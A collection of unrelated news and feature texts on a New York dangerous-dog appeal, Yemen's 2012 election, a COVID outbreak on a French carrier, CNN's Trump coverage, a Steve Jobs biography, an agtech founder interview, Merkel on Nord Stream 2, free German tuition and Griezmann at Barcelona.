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On April 4, 2013, an Order was entered in the New York Supreme Court, Appellate Division, in the matter of The People of the State of New York v. Diana Shanks. Just to clarify, the Appellate Division hears appeals from the New York Supreme Court, which is the state’s general trial court.
On appeal was an order entered on February 17, 2012 by the Otsego County court, affirming the judgment of the lower court in The Town of Oneonta v. Shanks, in which Ms. Shanks’ dog, Ghost, an American pit bull terrier, was found to be a “dangerous dog” within the meaning of Agriculture and Markets Law, Section 123.
The case stems from an incident that occurred in November 2011, when Ms. Shanks was walking Ghost, who was collared, harnessed and leashed, in the town of Oneonta. A German shepherd named Ranger owned by Oneonta resident, Ana-Maria Blasetti, was tethered to a porch in the front yard of the Blasetti residence. As Ms. Shanks and Ghost passed the yard, Ranger broke his tether and ran at Ghost, and a fight ensued. Ghost remained leashed the entire time.
Both dogs were injured, and Ms. Blasetti filed a complaint against Ms. Shanks. The Town Court deemed Ghost a “dangerous dog,” and found Ms. Shanks was 65% culpable for the incident, and responsible for that percentage of the vet bills. Ghost was ordered to be muzzled and kept on a short leash whenever on public premises.
Shanks appealed the Town Court’s ruling to the County Court, which affirmed the lower court’s ruling. Ms. Shanks then appealed to the Supreme Court Appellate Division.
In its Memorandum and Order dated April 4, 2013, the Supreme Court found there was insufficient evidence to sustain a finding that Ghost was a dangerous dog within the meaning of the Agriculture and Markets law:
A [d]angerous dog is defined as a dog that “without justification” attacks a person, companion animal … or domestic animal … and causes physical injury or death” or “behaves in a manner which a reasonable person would believe poses a serious and unjustified imminent threat of serious physical injury or death to one or more … companion animals. Notably, a dog shall not be declared to be dangerous if its conduct “was justified because the dog was responding to pain or injury, or was protecting itself [or] its owner…” At a hearing held pursuant to Agriculture and Markets Law Section 123, the petitioner bears the burden of establishing, by clear and convincing evidence, that the was at issue is dangerous.
The Court noted that no dispute existed that Ranger had broken free of his leash and that Ghost remained leashed and did not at any time pull free of his owner. Further, no testimony was presented to contradict Ms. Shank’s account that Ranger attacked Ghost first, and the Town Court acknowledged this fact, as well. Given the undisputed evidence presented, the Supreme Court found that Ghost acted in defense of himself and his owner, thus his actions were justified and did not meet the meaning of “dangerous dog” as defined by the statute.
Moreover, Blasetti specifically argued that Ghost was dangerous because he was a “pit bull,” and she asserted that pit bulls are a breed that courts can take judicial notice as having a history of being violent. The lower court apparently concurred with Ms. Blasetti, and even described Ghost as an “aggressive, powerful and vicious pit bull,’ while failing to identify Ranger’s breed, although German shepherds “are regularly characterized as an aggressive breed of dog.”
The Supreme Court cited the case of Roupp v. Conrad in its Memorandum, specifically noting:
The condemnation of an individual dog in the context of a dangerous dog proceeding solely by virtue of its breed is without any legal basis. We have repeatedly held that “‘there is no persuasive authority for the proposition that a court should take judicial notice of the ferocity of any particular type or breed of domestic animal.'” (Emphasis added.)
The Supreme Court found that “absolutely no evidence” was submitted that Ghost had on any prior occasion attacked another person or dog, or that he exhibited any aggressive behavior toward the people attempting to the end the fight between he and Ranger. Rather, attacked by another dog with his owner at close range, Ghost’s protective and defensive instincts were entirely understandable and expected.
The Supreme Court reversed the ruling and dismissed Blasetti’s complaint against Shanks.
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Presidential poll with vice-president as lone candidate marks the end of Ali Abdullah Saleh’s 33-year rule.
Polling stations across Yemen have closed in a presidential poll with Vice-President Abd-Rabbu Mansour Hadi as the only candidate.
Hadi’s guaranteed election by virtue of being the sole candidate on the ballot will bring the curtains down on Ali Abdullah Saleh’s 33-year rule over the country.
Tuesday’s vote is the result of a power-transition deal brokered by Yemen’s Gulf neighbours in November after months of protests calling for Saleh’s removal.
The Gulf-brokered deal gave Saleh and his closest aides immunity from prosecution and made him honorary president.
It also stipulated that Hadi become the next president of Yemen for an interim two-year period.
Reporting from Sanaa, Al Jazeera’s Hashem Ahelbarra said residents of the Yemeni capital felt it was a religious duty to come and vote to end Saleh’s rule.
“For these people the vote is not just about electing the single candidate, but to pave the way for Yemen to go forward.This is basically about restarting the nation from scratch,” he said.
Hadi, a 66-year-old career soldier, was Saleh’s vice-president since 1994.
Important decisions
In practice Hadi replaced Saleh last June when the 69-year-old president was wounded in the assassination attempt and had to spend more than three months receiving treatment in Saudi Arabia.
Once formally elected, he will start undertaking very important decisions – firstly, restructuring the army, start working on a new constitution and then Yemen will have its first free and fair elections, our correspondent said.
In video Najib Ghanem, a member of the opposition Islah party, discusses Tuesday’s election to elect Saleh’s successor
On the eve of Tuesday’s polling, violence flared in the south, where separatists seek a divorce from the north with which they fought a civil war in 1994 after formal political union.
Officials warned attacks to disrupt polling were all but certain.
An explosion rocked a polling station in the southern city of Aden on Monday.
One soldier was killed and another injured as gunfire broke out after the blast, an official told Reuters news agency.
The vote has also been denounced by youth activists who took to the streets to demand the end of Saleh’s rule, and regard the transfer plan as a pact among an elite they regard as partners to the crimes of Saleh’s tenure, including the killings of protesters in the uprising against him.
A security official said police had carried out “arrest raids on armed hardliners” from the Southern Movement trying “by force to prevent citizens from participating in the elections.”
“These elements are trying to create a state of fear among citizens by spreading rumours that February 21 [election day] will see acts of violence,” the official told the AFP news agency.
Increasing attacks
Attacks against electoral offices and polling stations have increased in recent days.
On Sunday night, a rocket-propelled grenade was fired at an election base in the Khour Maksar neighbourhood of Aden, a security official told AFP, adding that there were no casualties.
Three soldiers were also wounded in a clash with southern separatists near a polling booth in the southern Lahij province in the same day.
The vote would make Saleh, now in the United States for further treatment of burns suffered in the June assassination attempt, the fourth Arab autocrat to leave office in a year after revolts in Tunisia, Egypt and Libya.
The one-year uprising against Saleh has brought much of Yemen to the brink of a major crisis, as analysts fear a civil war if the political situation is not resolved.
The country faces rebellions in both the north and the south, with an al-Qaeda offshoot also responsible for recent attacks in the country.
“If the new government fails to fulfil its obligations to reach out and re-integrate the southerners, the Houthis (northerners) and the youth … then conflict will be inevitable,” political analyst Abdulghani al-Iryani told the Reuters.
Abdullah al-Faqih, a Sanaa-based analyst, said the biggest challenge for Hadi would be to take control of the country’s security forces, which remained under the control of Saleh’s sons and nephews.
“People are worried about the rule of the military and security institutions in the future,” al-Faqih told Al Jazeera.
“They watch closely what happened in Egypt and they are afraid that Hadi will be ruled by the military and not rule the military … The first challenge is to rebuild the military or at least to remove the leaders so that he can really exercise power in the country.”
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Izvor: REUTERS/Kham
France's flagship aircraft carrier the Charles de Gaulle has 50 confirmed coronavirus cases on board, the French Defense Ministry said in a statement Friday.
"The results of the 66 tests carried out concluded that there were 50 cases of COVID-19 on board the Charles de Gaulle. No worsening of the health of the seamen on board is currently noted. In addition, three seamen were evacuated as a precautionary measure on the morning of 9 April," the statement read.
A medical team arrived on board on April 8, according to the Defense Ministry.
The flagship carrier is in the Atlantic, with an anticipated return to the French city of Toulon on April 23.
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What came first – the Trump phenomenon or CNN's relentless coverage of Trump?
Recently, CNN head Jeff Zucker has been busy defending the network's coverage of this U.S. election cycle. Because he has to. Fingers are being pointed. The finger-pointers note that Zucker was in charge of NBC when Donald Trump's reality show The Apprentice was launched. They note that Trump gets tons of coverage on CNN. His rallies and speeches get wall-to-wall coverage while the events of other politicians get less time and attention.
There have also been mutterings from inside CNN that the Trump fascination is too much and that it's a self-perpetuating phenomenon. The more coverage Trump gets, the more substantial he seems as a candidate.
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It's a gnarly question, this one. CNN's ratings have improved, thanks to millions watching Republican debates that, inevitably, feature Donald Trump saying something outrageous. Mind you, CNN didn't create that mass of angry American voters who see Trump's simple-minded solutions as the quick fixes the country needs.
Jeff Zucker told The Guardian on the weekend: "The critics of Donald Trump are looking for people to blame for his rise. There are many people who are either surprised by his strength, or don't like him, and want to blame someone to explain why he has been this popular."
He also dismisses the idea that CNN is cultivating the Trump phenomenon.
Well, yes and no. Yes, the Trump phenomenon would exist without CNN. But no, CNN isn't entirely innocent. It knows what it's doing, because it works. The key in all of this is Zucker himself.
Sometimes, I feel like I've been listening to Zucker and watching his actions for years. I have, actually. And so have you.
In 2012, when he was appointed head of CNN, I wrote this: "The Zucker touch, as seen at Today and at NBC Entertainment, is lethal." What I meant was that Zucker went up the ladder in the TV business because it's believed that he has an uncanny ability to spot a certain kind of entertainment phenomenon, to turn substance into fluff and to make money doing it.
His reputation was made in the early 1990s when he was made executive producer of NBC's Today, at the age of 26, and he made it the most-watched morning show in the U.S. market. He turned it into a strange mixture of candy and hard news.
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He oversaw Today's coverage of the 1992 presidential election, which had three candidates, incumbent George H.W. Bush, Democrat Bill Clinton and independent Texas businessman Ross Perot. Zucker focused on the personalities, not the politics. Lengthy personal interviews appeared on Today and there were viewer call-in segments. Meanwhile, there were also cooking demonstrations, weather reports delivered on a sugar high and anchors so perky they'd give you a headache. It worked and made a fortune for NBC.
Then, without much experience in actually making and scheduling comedy and drama, he was put in charge of NBC's entertainment division – running an entire network and its prime-time shows.
He oversaw the arrival of "supersized" sitcoms, the end of Friends and the arrival of The Apprentice, along with Fear Factor. In other areas, it was disaster after disaster: the Friends spin-off Joey, Conan O'Brien's brief tenure on The Tonight Show and bitter departure, and the train wreck of Jay Leno's nightly comedy show. NBC went from first to fourth in viewers among the U.S. networks.
In his job, Zucker talked to TV critics twice a year in Los Angeles. It was always hard to tell when he was joking. Just as it was really hard to figure out why anyone would think that some of the sitcoms he launched were funny. Eventually, as things got weirder, Zucker stopped talking to the TV critics directly. He let others make speeches and take questions while he lurked at the back of the room.
What's worth noting is that Zucker shifted gears as NBC imploded. On his watch, several good series were launched, including Southland and Amy Poehler's Parks and Recreation. And he kept the NBC version of The Office on the air after it launched to very low ratings.
And for all the disasters, Zucker has continued to fail in an upward trajectory. He was unscathed because, in the arenas of news and reality TV, he had a golden touch. Maybe adding five minutes to sitcoms and calling them "supersized" was ridiculous, but Fear Factor stayed on the air for years and The Apprentice was, for a while, a huge hit. You see, Donald Trump is more compelling than most fictional dramas, and Zucker learned that years ago.
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CNN isn't squeaky-clean in the matter of Trump. It promotes him because it works, and the CNN boss knows it does. He'd probably say the blame is with the viewers.
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Overview (4)
Mini Bio (1)
Steven Paul Jobs was born on 24 February 1955 in San Francisco, California, to students Abdul Fattah Jandali and Joanne Carole Schieble who were unmarried at the time and gave him up for adoption. He was taken in by a working class couple, Paul and Clara Jobs, and grew up with them in Mountain View, California.
He attended Homestead High School in Cupertino California and went to Reed College in Portland Oregon in 1972 but dropped out after only one semester, staying on to "drop in" on courses that interested him.
He took a job with video game manufacturer Atari to raise enough money for a trip to India and returned from there a Buddhist.
Back in Cupertino he returned to Atari where his old friend Steve Wozniak was still working. Wozniak was building his own computer and in 1976 Jobs pre-sold 50 of the as-yet unmade computers to a local store and managed to buy the components on credit solely on the strength of the order, enabling them to build the Apple I without any funding at all.
The Apple II followed in 1977 and the company Apple Computer was formed shortly afterwards. The Apple II was credited with starting the personal computer boom, its popularity prompting IBM to hurriedly develop their own PC. By the time production of the Apple II ended in 1993 it had sold over 6 million units.
Inspired by a trip to Xerox's Palo Alto Research Center (PARC), engineers from Apple began working on a commercial application for the graphical interface ideas they had seen there. The resulting machine, Lisa, was expensive and never achieved any level of commercial success, but in 1984 another Apple computer, using the same WIMP (Windows, Icons, Menus, Pointer) interface concept, was launched. An advert during the 1984 Super Bowl, directed by Ridley Scott introduced the Macintosh computer to the world (in fact, the advert had been shown on a local TV channel in Idaho on 31 December 1983 and in movie theaters during January 1984 before its famous "premiere" on 22 January during the Super Bowl).
In 1985 Jobs was fired from Apple and immediately founded another computer company, NeXT. Its machines were not a commercial success but some of the technology was later used by Apple when Jobs eventually returned there.
In the meantime, in 1986, Jobs bought The Computer Graphics Group from Lucasfilm. The group was responsible for making high-end computer graphics hardware but under its new name, Pixar, it began to produce innovative computer animations. Their first title under the Pixar name, Die kleine Lampe (1986) won critical and popular acclaim and in 1991 Pixar signed an agreement with Disney, with whom it already had a relationship, to produce a series of feature films, beginning with Toy Story (1995).
In 1996 Apple bought NeXT and Jobs returned to Apple, becoming its CEO. With the help of British-born industrial designer Jonathan Ive, Jobs brought his own aesthetic philosophy back to the ailing company and began to turn its fortunes around with the release of the iMac in 1998. The company's MP3 player, the iPod, followed in 2001, with the iPhone launching in 2007 and the iPad in 2010. The company's software music player, iTunes, evolved into an online music (and eventually also movie and software application) store, helping to popularize the idea of "legally" downloading entertainment content.
In 2003, Jobs was diagnosed with pancreatic cancer and underwent surgery in 2004. Despite the success of this operation he became increasingly ill and received a liver transplant in 2009. He returned to work after a six month break but eventually resigned his position in August 2011 after another period of medical leave which began in January 2011. He died on 5 October 2011.
- IMDb Mini Biography By: IMDb Editors
Spouse (1)
Laurene Powell (18 March 1991 - 5 October 2011) ( his death) ( 3 children)
Trade Mark (1)
Black turtleneck sweatshirt and blue jeans - he owned over a hundred
Trivia (41)
Co-founded Apple Computer Inc. in 1977 with Steve Wozniak . Was later ousted and then brought back as interim CEO in 1997. His new reign has been controversial: bringing Apple back to profitability (and visibility), yet disappointing many for discontinuing the Newton MessagePad hand-held device.
Officially dropped the word "interim" from his title at Apple Computer sometime in the autumn of 1999.
When Apple Computer appointed its first Board of Directors, the Board insisted that all employees wear name badges with a number indicating the order in which they were hired. They assigned Steve Wozniak , who did all the engineering of the highly successful Apple II computer, the title Employee No. 1. Steve Jobs was officially Employee No. 2. Jobs protested but the Board refused to change the badge assignments. Jobs offered a compromise: He would be Employee No. 0, since 0 comes before 1 on the mathematical model known as a number line. (Source: "Accidental Empires" by Robert X. Cringely).
Purchased the computer graphics division of LucasFilm from George Lucas . This was later renamed Pixar.
Has a daughter, Lisa, from a previous relationship. She is the namesake of Apple's computer, the Lisa.
Attended Reed College (Portland, Oregon), but dropped out after one semester.
Adopted from infancy by Mountain View, California, couple, Paul and Clara Jobs. He was machinist for a laser manufacturer; she was an accountant.
Ranked #23 in Premiere's 2003 annual Power 100 List with Pixar partner John Lasseter . They had ranked #31 in 2002.
Graduated from Homestead High School in Cupertino, California, in 1972.
July 2004: he had surgery to remove a cancerous tumor from his pancreas
He was a pescetarian, one whose diet includes fish but no other meat.
Ranked #1 on Premiere's 2004 annual Power 100 List with Pixar co-head John Lasseter . Had ranked #23 in 2003.
Ranked #3 on Premiere's 2005 Power 50 List with Pixar co-head John Lasseter . They had ranked #1 in 2004.
In Forbes Magazine's listing of the 400 Richest Americans in 2005, Steve Jobs came in at number 67 with a total worth of $3.3 Billion.
Ranked #1 on Premiere's 2006 "Power 50" list with Pixar co-head John Lasseter . They had ranked #3 in 2005 and #1 in 2004.
Invited to join the Academy of Motion Picture Arts and Sciences (Executives Branch) in 2005.
Received a liver transplant in April 2009.
(May 10, 2010) Merited a position in Time magazine's "The 100 Most Influential People in the World" ("Thinkers" category) with an homage contributed by Jeff Koons
Merited the #2 position in "The Vanity Fair 100" magazine's 16th annual ranking of the most influential people of the Information Age. [2010]
Has a child from a relationship he had when he was 23 with a woman whom he didn't marry. The daughter was named Lisa N. Brennan Jobs, born on 17 May 1978.
Gave the commencement address to the graduating class of at Stanford University in Palo Alto, California.
Biological son of immigrants to the U.S., Syrian Abdul Fattah Jandali and German-Swiss Joanne Carol Schieble. He was placed for adoption at a very early age, where he was adopted by an Armenian-American couple, Paul and Clara Jobs, who raised him. As a result of his upbringing, Jobs was fluent in the Armenian language.
Made the cover of TIME magazine 8 times: February 1982, August 1997, October 1999, January 2002, October 2005, April 2007 (group shot), April 2010, October 2011 (special issue).
Had intended to volunteer his service in designing the ad campaign for Barack Obama 's 2012 reelection campaign.
Posthumously awarded the Grammy Trustees Award at the 54th Annual Grammy Awards in 2012. The Trustees Award is awarded to "individuals who, during their careers in music, have made significant contributions, other than performance, to the field of recording".
Was friends with President Bill Clinton , and allowed him to stay at his California mansion whenever Clinton visited his daughter Chelsea Clinton , then a student at Stanford University. Clinton in turn hosted Jobs as a guest of the Lincoln Bedroom.
The black-and-white headshot of Jobs that appeared on the jacket of his biographer Walter Isaacson 's book "Steve Jobs" (2011) was taken by Scottish celebrity photographer Albert Watson
Always counted Edwin H. Land , inventor of the Polaroid camera, as one of his all-time entrepreneurial heroes. He based many of his own Apple product presentational styles on Land's.
As a youth he lived at 2066 Crist Drive in Los Altos (CA), where he started his Apple company in the attached family garage with pal Steve Wozniak
CEO of Apple Computer Inc. [1997]
CEO of Pixar Animation Studios [1986]
Often insisted on using marketing language that was intentionally grammatically incorrect. For example, he usually referred to Apple products without the definite article "the" to emphasis uniqueness. Another example was Apple's slogan in the late 1990s "Think different", in which he stated that "different" was meant to be a noun and sound colloquial.
He didn't use deodorant or shower regularly.
He followed a strict Vegan diet and often ate only one or two kinds of fruits such as Apples or pears for weeks at a time.
His #1 rival is Bill Gates.
Was played by Michael Fassbender in the film Steve Jobs.
Was played by Ashton Kutcher in the film Jobs.
Changed his daughter Lisa's last name from Brennan to Brennan-Jobs by altering her birth certificate.
Personal Quotes (19)
[February 1985, interview in "Playboy" magazine] I don't think I've ever worked so hard on something, but working on Macintosh was the neatest experience of my life. Almost everyone who worked on it will say that. None of us wanted to release it at the end. It was as though we knew that once it was out of our hands, it wouldn't be ours anymore. When we finally presented it at the shareholders' meeting, everyone in the auditorium gave it a five-minute ovation. What was incredible to me was that I could see the Mac team in the first few rows. It was as though none of us could believe we'd actually finished it. Everyone started crying.
[1985] I'll always stay connected with Apple. I hope that throughout my life I'll sort of have the thread of my life and then the thread of Apple weave in and out, like a tapestry. There may be a few years when I'm not there, but I'll always come back.
[2003] There are downsides to everything; there are unintended consequences to everything. The most corrosive piece of technology that I've ever seen is called television--but then, again, television, at its best, is magnificent.
[1998] A lot of times, people don't know what they want until you show it to them.
Creativity is just connecting things. When you ask creative people how they did something, they feel a little guilty because they didn't really do it, they just saw something. It seemed obvious to them after a while.
[1993] I'm sorry, it's true. Having children really changes your view on these things. We're born, we live for a brief instant, and we die. It's been happening for a long time.
[May 1998, interview in "Business Week" magazine] That's been one of my mantras--focus and simplicity. Simple can be harder than complex: You have to work hard to get your thinking clean to make it simple. But it's worth it in the end because once you get there, you can move mountains.
Simple can be harder than complex. You have to work hard to get your thinking clean to make it simple. But it's worth it in the end because once you get there, you can move mountains.
My model for business is The Beatles . They were four guys who kept each other's kind of negative tendencies in check. They balanced each other and the total was greater than the sum of the parts.
Remembering that I'll be dead soon is the most important tool I've ever encountered to help me make the big choices in life. Because almost everything--all external expectations, all pride, all fear of embarrassment or failure--these things just fall away in the face of death, leaving only what is truly important.
In most people's vocabularies, design means veneer. It's interior decorating. It's the fabric of the curtains and the sofa. But to me, nothing could be further from the meaning of design. Design is the fundamental soul of a man-made creation that ends up expressing itself in successive outer layers of the product or service.
I didn't see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again.
The unions are the worst thing that happened to education because it's not a meritocracy. It turns into a bureaucracy, which is exactly what happened. The teachers can't teach, and administrators run the place, and nobody can be fired. It's terrible.
You know, everybody has a cell phone, but I don't know one person who likes their cell phone. I want to make a phone that people love.
I'm going to destroy Android because it's a stolen product. I'm willing to go thermonuclear war on this.
All the work I have done in my life will be obsolete by the time I'm 50.
It's more fun to be a pirate than to join the navy.
[about how he and partner Steve Wozniak tried to get major computer companies interested in their personal computer, which turned out to be the Apple] So we went to Atari and said, "Hey, we've got this amazing thing, even built with some of your parts, and what do you think about funding us? Or we'll give it to you. We just want to do it. Pay our salary, we'll come work for you". And they said, "No". So then we went to Hewlett-Packard, and they said, "Hey, we don't need you. You haven't got through college yet".
[on the difference between billionaires and regular people] Everything around you that you call life was made up by people that were no smarter than you and you can change it, you can influence it, you can build your own things that other people can use.
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Are you looking to hire for certain positions right now?
Hello! Who are you and what business did you start?
My name is Robert Morris. I founded TerrAvion in 2013 together with Cornell Wright.
TerrAvion is an image delivery service for agriculture. Our core service is called OverView, which delivers subscription imagery, overnight, throughout the growing season. The images allow growers to have a real up-to-date picture of all of their fields as well as synthetic maps and analysis.
Our service works by TerrAvion contracting with flight providers, flying small planes, to operate a sensor that TerrAvion designs and integrates. TerrAvion plans and monitors the routes to ensure quality delivery. Our company’s technology is mostly around how to manage and process millions of acres a day, overnight, at a very low cost. We deliver our service first and foremost through our API (application programming interface–an endpoint for computers to talk to each other). Our web and mobile software, as well as partner software, call this API to deliver maps and images to the client.
We view our job as abstracting away all the complexity and delivering maps that are ready to use so that growers can spend more time applying their expertise, more powerfully, and over a larger area. Below is a screenshot of our interface with fields shown in our vigor image data layers.
What's your backstory and how did you come up with the idea?
I have always had a great interest in robotics. As a former U.S. Army officer, I led the first RQ-7B "Shadow" drone platoon in Afghanistan. After the Army, I consulted for Deloitte Consulting, where I organized the U.S. Navy's first Unmanned Surface Vehicle Community of Interest. One day I was talking to a friend who mentioned that agriculture could not see what was going on in the field as the only vision came from satellite data.
We even out-executed a competitor that Steve Blank was personally advising, by actually following his advice.
Satellite data has vast limitations amongst others due to the lack of data resolution and timeliness. Based on my experience, I realized that drones were not the solution either, so I looked into fixed-wing aircraft as a possibility to capture image data and making the field visible for farmers.
Take us through the process of designing, prototyping, and manufacturing your first product and describe the process of launching the business.
Cornell (TerrAvion’s technical co-founder) and I spent months researching the market and had a hypothesis about the product and business model that the agriculture industry required. We took a powerpoint to the big trade show we were targeting and got people to agree that if we could build the system, they would sign up for the service.
Cornell and I borrowed the equipment to do a validation flight from a supplier called Uniforce (still around today) and rented a plane from a retired Air Force Colonel to collect some data. We proved that the system *could* work with an engineer hovering over it, and with that signed our first customers in 2013. The system was a Frankenstein of off the shelf imaging and positioning technologies, driven by Linux computer, running the code that allowed us to get enough data to take pictures and turn them into high-quality maps that measured chlorophyll density, transpiration, and made awesome color maps--similar to Google. It is not common knowledge, but that highest zoom level on Google or Bing is actually captured by aircraft, even though they call it “Satellite” for marketing purposes. Our system was similar to Google or Bing aerial system but allowed us to see extra data bands that are important to agriculture and process the data overnight instead of several months.
Since then, we’ve been scaling the business to get it to the point where it is a sustainable and rapidly growing “pixel utility.” Now all of our flights are pilot solo flights and take place on two continents almost every day of the year.
Since launch, what has worked to attract and retain customers?
The best thing for us has been to work with partners. Many people, especially when we were starting, had this idea that they were going to build the be-all and end-all piece of ag software, sold directly, and they would disrupt the current ag system. This is not our approach.
Our approach has been to recognize that we are quite literally the best in the world at one thing: collecting ag imagery efficiently, reliably, and at scale. Then there are APIs and apps to make any fantasy anyone has about using imagery a reality.
Our attitude of sticking to the one thing we do best, invest in it, improve it, and widen our lead over everyone in the space has given us unprecedented access to the agricultural distribution channel. We work with most of the major ag retailers, 100+ smaller distributors, and all of the multi-national ag input majors. This is a beginning, and we have a long way to go, but working with and helping the people who are currently in the system has been tremendously beneficial to us.
How are you doing today and what does the future look like?
We are nearly profitable in 2019 and are forecasting being “Amazon profitable” or sustained reinvestment in growth from operating activities in 2020. This is important because we are fundamentally a utility for collecting pictures and maps, on which other people and organizations build. It is driven by the continued growth of our partner sales, especially input, ag retail, and analytics partners. We had to sell direct to growers to get started, but we’re less than 2% direct now--and basically only sell direct where we’re trying to embarrass our channel partners into better behavior.
Both in 2020 and the long term, we are embarking on a path to make our infrastructure more open and fill out a team that can support our partners from the farm to corporate HQ or the global R&D center. This open infrastructure is going to be amazing because it will allow high-end computing on the edge with better and better sensors (some of which we are already flying) so our partners will be able to do more and more unique things.
Through starting the business, have you learned anything particularly helpful or advantageous?
I learned about sales, sales, and sales. I wish I had known more, it is a weird and tough discipline. Seductively simple, but actually harder to manage than most of the black and white engineering, product, operations complexity, because there is so little control by management over a sales team and a sales team over their customers, people are hard to predict, but people are the only thing that matters.
You will never be having more fun than when you control your own destiny and have the freedom that you have starting out.
Beyond platitudes, somebody who has actually set-up a sales process (not run, not worked in, set-up) is key or you have to figure out how to do this the hard way, which you can do, but it takes a long time and time is the enemy of start-ups.
We even out-executed a competitor that Steve Blank was personally advising, by actually following his advice.
We run our operations on essentially 100% custom-built software on common open source tools in the public cloud. Our customer-facing side has centered on Hubspot as a total external communication backbone, one of the best decisions we’ve made recently.
Also, not discussed enough, but working with a PEO has allowed us to field a team where our customers live and work and be able to offer benefits.
What have been the most influential books, podcasts, or other resources?
I’m a big fan of the books. As an operations-focused company in a new market, The Goal and Clayton Christensen’s Innovator’s series have been particularly informative to our thinking. Also a big fan of Steve Blank’s Four Steps to the Epiphany.
The Goal, the only Socratic business novel I’ve ever heard of, helps you figure out what’s actually holding you back, there’s often a tendency to work on what you got good at fixing, not what’s actually holding you back, note this different from what I was saying about company focus above.
Christensen’s books deal with figuring out the game theory of your product, it is a shockingly accurate description and uncanny in its predictive power about the behavior of competitors.
Finally, Steve Blank talks about what you need to do at each stage of the company building, his books are so good we even out-executed a competitor that he was personally advising, by actually following his advice.
Advice for other entrepreneurs who want to get started or are just starting out?
My biggest advice is to not raise money if you can do without. I’d even consider changing ideas or markets until you can find a business you can bootstrap. You will never be having more fun than when you control your own destiny and have the freedom that you have starting out.
Also, we thought we could bootstrap TerrAvion--we were wrong about that--but having the discipline to even try has made us a much better and stronger company. Ultimately, all businesses must work on a cash basis--the earlier you can get started on that, the stronger position you’ll be in and the more control and less stress you’ll have.
Are you looking to hire for certain positions right now?
We are currently hiring for several full-time positions, including for an Accountant, Customer Support Team Leader, Operations, District Sales/Territory Managers.
Where can we go to learn more?
If you have any questions or comments, drop a comment below!
Want to start your own business?
Hey! 👋I'm Pat Walls, the founder of Starter Story. We interview successful business owners and share the stories behind their business. By sharing these stories, we want to help you get started. Interested in starting your own business? Join Starter Story Premium to get the greatest companion to starting and growing your business: Connect + get advice from successful entrepreneurs
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Меркель: Я на стороне Порошенко, но отношения ЕС-Россия будут
Канцлер Германии Ангела Меркель считает, что несмотря на агрессию России против Украины и вызовы, которые Кремль бросает миру, отношения с российской стороной разрывать нельзя. Об этом политик заявила во время панельной дискуссии на Мюнхенской конференции по безопасности.
По ее словам, с начала агрессии России против Украины "отношения с РФ кардинально изменились". Однако она считает Москву партнером и выступает за сохранение диалога. "Геостратегически Европа не имеет права разрывать отношения с Россией", - заявила она.
Также Меркель в ходе своего выступления неоднократно высказала поддержку российскому проекту по строительству газопровода Северный поток-2.
"Конечно я на стороне господина (Петра - ред.) Порошенко (в войне с РФ - ), но вопросы, связанные с Северным потоком-2, остаются для меня важными", - сказала она.
"Российский газ останется российским газом, а Россия останется нашим партнером", - резюмировала канцлер ФРГ.
Читайте также: Не всем сердцем. Глава партии Меркель поддержала Северный поток-2
Попцова Галина
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Prospective students in the U.S who can’t afford to pay for college or don’t want to rack up tens of thousands in student debt should try their luck in Germany. Higher education is now free throughout the country, even for international students. Yesterday, Lower Saxony became the last of seven German states to abolish tuition fees, which were already extremely low compared to those paid in the United States.
German universities only began charging for tuition in 2006, when the German Constitutional Court ruled that limited fees, combined with loans, were not in conflict the country’s commitment to universal education. The measure proved unpopular, however, and German states that had instituted fees began dropping them one by one.
“We got rid of tuition fees because we do not want higher education which depends on the wealth of the parents,†Gabrielle Heinen-Kjajic, the minister for science and culture in Lower Saxony, said in a statement. Her words were echoed by many in the German government. “Tuition fees are unjust,†said Hamburg’s senator for science Dorothee Stapelfeldt. “They discourage young people who do not have a traditional academic family background from taking up study. It is a core task of politics to ensure that young women and men can study with a high quality standard free of charge in Germany.â€
Compared to American students, Germans barely had to pay for undergraduate study even before tuition fees were abolished. Semester fees averaged around €500 ($630) and students were entitled to many perks, such as cheap (often free) transportation within and between cities.
Free education is a concept that is embraced in most of Europe with notable exceptions like the U.K., where the government voted to lift the cap on university fees in 2010. The measure has reportedly cost more money than it brought in. The Guardian reported in March that students are failing to pay back student loans at such a rate that “the government will lose more money than it would have saved from keeping the old £3,000 ($4,865) tuition fee system.â€
UK students often compare their plight to their American counterparts, but most Americans would be fortunate to pay as little as the British do: a maximum of $14,550 per year. High tuition fees in the U.S. have caused student loan debt, which stands at $1.2 trillion, to spiral out of control. It is now the second-highest form of consumer debt in the country. According to the Institute for College Access and Success, two thirds of American college students will leave their alma mater in significant debt (averaging at $26,600).
While there are many government measures that could ease the massive burden of student debt, some straightforward steps could make higher education accessible to all. Tennessee, for example, recently voted to make two-year colleges free for all high school graduates. The U.S. as whole could take a note from Germany and make public universities free with relative ease. The government spends around $69 billion subsidizing college education and another $107.4 billion on student loans. Tuition at all public universities comes to much less than that, around $62.6 billion in 2012. By restructuring the education budget, the cost of attending public universities could easily be brought down to zero.
This would also put pressure on private universities to lower their cost in order to be more competitive.
At least for now, however, learning German might be the best financial choice an American high school student can make.
Source thinkprogress.org
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The Frenchman has initially had to play on the left and when Messi, Suárez and Dembélé were all available he was on the bench. He is too good not to integrate but it may take time
“That’s a good question,” Antoine Griezmann replied but he was not daft enough to actually answer it. With that line, he had said enough. On the eve of last week’s Champions League match against Internazionale, Griezmann was asked if he would play better on the right. The question was leading and what came next was even more telling than his response.
A new Sevilla but the same old story as Barcelona blow them away | Sid Lowe Read more
The following night he was withdrawn after an hour. Four days later, he spent the Sevilla match on the bench. Barcelona had paid €120m for him but the first time all their senior forwards were available he was left out in favour of a front three made up of Lionel Messi, Luis Suárez and Ousmane Dembélé.
After the win over Villarreal last month, in which he scored the opener, Griezmann noted a little pointedly: “Three goals isn’t bad, is it?” It is not – at the time he was the club’s top scorer and a fortnight on only Suárez has more – and no one is suggesting he is bad either. But there is a predictable problem, a difficulty finding his place.
On his home debut, against Real Betis in August, Griezmann scored twice, celebrating by throwing blue and red confetti into the air. He had copied that from the basketball player LeBron James; he had copied the goal too, saying: “I see Messi doing it in training.”
Facebook Twitter Pinterest Lionel Messi was forced to deny this week that he had not wanted Griezmann to sign for Barcelona. Photograph: Alejandro García/EPA
It felt as if there was something in the remark that spoke of hierarchies and a desire to ingratiate himself. He had known his arrival was not universally popular after the way he had turned Barcelona down a summer before he actually signed, the decision played out in a TV documentary. “If I have to say sorry, I’ll do it on the pitch,” he had said but that has not been easy. Last week he admitted he and Messi are quiet, so “it’s not easy for us to talk”. And on Thursday Messi had to deny suggestions he had not wanted Griezmann to come at all.
